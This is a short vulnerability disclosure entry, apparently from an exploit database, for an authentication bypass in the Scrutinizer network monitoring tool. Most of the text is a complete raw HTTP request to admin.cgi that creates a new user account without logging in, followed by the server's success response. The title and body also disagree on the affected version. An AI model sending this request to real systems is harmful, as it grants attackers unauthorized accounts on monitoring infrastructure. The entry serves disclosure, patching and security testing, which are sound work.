Scrutinizer 9.0.1.19899 - HTTP Authentication Bypass

source: https://www.securityfocus.com/bid/54727/info

Scrutinizer is prone to an authentication-bypass vulnerability.

Exploiting this issue may allow an attacker to bypass certain security restrictions and perform unauthorized actions.

Scrutinizer 9.5.0 is vulnerable; other versions may also be affected. 

#Request
POST /cgi-bin/admin.cgi HTTP/1.1
Host: 10.70.70.212
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0) Gecko/20100101 Firefox/11.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Length: 70

tool=userprefs&newUser=trustwave&pwd=trustwave&selectedUserGroup=1

#Response
HTTP/1.1 200 OK
Date: Wed, 25 Apr 2012 17:52:15 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 19
Content-Type: text/html; charset=utf-8

{"new_user_id":"2"}